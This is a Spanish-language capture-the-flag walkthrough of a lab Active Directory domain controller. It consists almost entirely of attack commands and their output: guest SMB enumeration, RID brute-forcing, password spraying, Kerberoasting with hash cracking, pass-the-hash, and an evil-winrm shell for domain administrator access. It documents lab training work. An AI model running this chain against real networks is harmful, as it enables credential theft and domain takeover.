Enumeramos puertos (DC de Active Directory, dominio SOUPEDECODE.LOCAL):
❯ sudo nmap -sCV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49714 -oN 02-targeted.txt 192.168.1.31
...
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., ...)
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
...
Service Info: Host: DC01; OS: Windows; ...No hay null session, pero sí acceso como guest, que nos permite enumerar shares y usuarios (RID brute):
❯ nxc smb 192.168.1.31 -u guest -p "" --shares
...
SMB 192.168.1.31 445 DC01 backup
SMB 192.168.1.31 445 DC01 Users
❯ nxc smb 192.168.1.31 -u guest -p "" --rid-brute > nxc_users.txt
❯ cat nxc_users.txt | grep SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txtHacemos password spraying (usuario = contraseña) y cae ybob317, aunque con la contraseña expirada:
❯ crackmapexec smb 192.168.1.31 -u users.txt -p users.txt --no-bruteforce
...
SMB 192.168.1.31 445 DC01 [-] SOUPEDECODE.LOCAL\ybob317:ybob317 STATUS_PASSWORD_EXPIRED
...Tras renovar la contraseña manualmente (ybob317:ybob3177), accedemos por SMB y obtenemos la primera flag:
❯ smbclient //192.168.1.31/Users -U ybob317
Password for [WORKGROUP\ybob317]: ybob3177
smb: \ybob317\Desktop\> get user.txtCon esas credenciales hacemos Kerberoasting y crackeamos un hash de cuenta de servicio:
❯ impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob3177 -dc-ip 192.168.1.31 -outputfile hash_kerb
...
FTP/FileServer file_svc
HTTP/BackupServer backup_svc
...
❯ john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_kerb
...
Password123!! (?)
...La contraseña es de file_svc (también expirada → password123!!). Con ese acceso descargamos el share backup:
❯ smbclient //192.168.1.31/backup -U file_svc
smb: \> get backup_extract.txtEl archivo contiene usuarios y hashes NTLM. Los separamos y hacemos pass-the-hash; el de la cuenta de máquina FileServer$ es administrador:
❯ crackmapexec smb 192.168.1.31 -u users_hashes.txt -H passwds_hashes.txt --no-bruteforce --continue-on-success
...
SMB 192.168.1.31 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
...Nos conectamos con evil-winrm usando el hash:
❯ evil-winrm -u 'FileServer$' -i 192.168.1.31 -H 'e41da7e79a4c76dbd9cf79d1cb325559'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txtObtenemos nuestra flag.
Fin.